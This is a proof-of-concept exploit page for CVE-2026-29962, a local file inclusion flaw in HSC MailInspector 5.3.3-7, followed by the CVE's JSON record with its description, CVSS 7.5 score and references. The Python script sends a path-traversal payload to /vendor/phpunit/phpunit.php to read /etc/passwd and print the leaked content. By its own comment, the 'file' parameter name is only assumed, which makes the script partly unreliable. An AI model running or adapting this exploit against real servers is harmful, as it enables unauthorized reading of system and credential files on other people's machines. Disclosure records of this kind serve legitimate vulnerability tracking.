CVE-2026-29962

#!/usr/bin/env python3 import requests def exploit_lfi(target_url): """ PoC for CVE-2026-29962 - LFI in HSC MailInspector """ # The vulnerable endpoint mentioned in the description endpoint = "/vendor/phpunit/phpunit.php" # Attempting to read /etc/passwd using path traversal # Note: The actual parameter name might vary, assuming 'file' based on common LFI patterns payload = {"file": "../../../../../../etc/passwd"} try: response = requests.get(target_url + endpoint, params=payload, timeout=10) # Check if the response contains typical /etc/passwd content if response.status_code == 200 and "root:x" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Content (first 200 chars):") print(response.text[:200]) return True else: print("[-] Exploit failed or target not vulnerable.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_lfi(target)

{"cve": {"id": "CVE-2026-29962", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:21.383", "lastModified": "2026-05-19T17:21:35.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HSC MailInspector v5.3.3-7 contains a Local File Inclusion (LFI) vulnerability caused by improper control of user-supplied file paths. The endpoint /vendor/phpunit/phpunit.php processes user-controlled parameters that directly affect file access operations without adequate validation, sanitization, or path restriction. This allows a remote attacker to exploit Path Traversal techniques to read arbitrary files from the underlying operating system and application directories, leading to sensitive information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:*", "matchCriteriaId": "5A2C551A-C71C-468F-A438-7ED1F576338A"}]}]}], "references": [{"url": "https://github.com/sql3t0/cve-disclosures", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://hsclabs.com/pt-br/mailinspector", "source": "[email protected]", "tags": ["Product"]}]}}